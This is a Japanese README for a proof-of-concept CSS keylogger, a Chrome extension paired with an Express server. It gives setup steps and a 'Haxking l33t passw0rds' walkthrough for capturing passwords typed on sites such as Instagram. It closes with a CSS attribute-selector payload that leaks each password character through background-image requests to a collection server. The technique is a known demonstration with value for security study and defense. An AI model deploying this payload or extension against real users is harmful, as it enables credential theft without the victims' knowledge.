CSS キーロガー

CSSのキーロギング機能を利用するChrome拡張機能とExpressサーバー。

使用方法

Chrome拡張機能のセットアップ

1. リポジトリをダウンロード git clone https://github.com/maxchehab/CSS-Keylogging
2. ブラウザで chrome://extensions にアクセスします（または、Omniboxの右端にあるアイコンをクリックしてChromeメニューを開きます。メニューのアイコンは3本の横線です。そして、「その他のツール」メニューの「拡張機能」を選択して同じ場所に移動します）。
3. 右上隅にある「デベロッパーモード」のチェックボックスがオンになっていることを確認します。
4. Load unpacked extension… をクリックして、ファイル選択ダイアログを表示します。
5. このリポジトリをダウンロードしたディレクトリ内の css-keylogger-extension を選択します。

Expressサーバーのセットアップ

1. yarn
2. yarn start

Haxking l33t passw0rds

1. Reactなどの制御コンポーネントフレームワークを使用するWebサイトを開きます。https://instagram.com。
2. 任意のWebページの右上にある拡張機能の C を押します。
3. パスワードを入力します。
4. パスワードがExpressサーバーによってキャプチャされます。

仕組み

この攻撃は非常にシンプルです。CSS属性セレクタを利用して、background-image を読み込むという名目で外部サーバーにリソースを要求します。

例えば、以下のCSSは type が password に等しく、value が a で終わるすべての入力を選択します。 そして、http://localhost:3000/a から画像をロードしようとします。

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

シンプルなスクリプトを使用することで、すべてのASCII文字に対してカスタムリクエストを送信するCSSファイルを作成できます。